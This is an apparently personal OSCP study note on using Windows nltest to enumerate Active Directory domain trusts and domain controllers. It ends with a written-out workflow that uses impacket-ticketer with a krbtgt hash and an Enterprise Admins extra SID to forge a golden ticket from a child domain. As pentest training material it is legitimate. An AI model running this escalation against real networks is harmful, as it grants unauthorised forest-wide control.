Pearson's OSCP Notebook

nltest

Properties1
tagsnltest, windows, active-directory, domain-trusts, forest, child-domain, enumeration, oscp

2 min read

nltest — Domain Trusts & DC Discovery

Ctrl+F: nltest · domain_trusts · dclist · dsgetdc · trust · forest

Built-in Windows tool for domain trust and DC queries. Run from a domain-joined shell (cmd, evil-winrm, PS).

OSCP use: Map parent/child forests before ticketer -extra-sid, raiseChild, or cross-domain attacks.

Syntax

nltest /command[:parameter]

📌 1) Domain trusts (most common)

nltest /domain_trusts

Example output:

List of domain trusts:
    0: ROOT corp.local (NT 5) (Forest Tree Root) (Direct) ( Attr: withinforest )
    1: CHILD child.corp.local (NT 5) (Forest: 0) (Direct) ( Attr: withinforest )
    2: EXT external.local (NT 5) (Direct) ( Attr: quarantined )
FieldMeaning
Forest Tree RootRoot of the forest
Forest: 0Child domain — parent index 0
DirectDirect trust
AttrTrust attributes (withinforest, quarantined, etc.)

→ Child domain privesc → Kerberos Scripts > raiseChild · Kerberos Scripts > ticketer -extra-sid

📌 2) List domain controllers

nltest /dclist:corp.local
nltest /dclist:child.corp.local

📌 3) Get DC for a domain

nltest /dsgetdc:corp.local

Returns DC name, IP, site — useful when you know FQDN but not DC IP.

📌 4) Trust with specific domain

nltest /domain_trusts /all_trusts
nltest /server:DC01.corp.local /query

📌 OSCP workflow — forest / child domain

REM From domain-joined shell
nltest /domain_trusts
 
REM Get SIDs for golden ticket cross-forest
REM On Kali: impacket-lookupsid corp.local/user:pass@DC_IP
# Child domain golden ticket with parent EA SID
impacket-ticketer -nthash KRBTGT_HASH \
    -domain child.corp.local \
    -domain-sid S-1-5-21-CHILD-SID \
    -extra-sid S-1-5-21-PARENT-SID-519 \
    hacker

→ lookupsid & samrdump · Kerberos Scripts > 📌 5) ticketer.py — Forge Kerberos Tickets

Graph View

Backlinks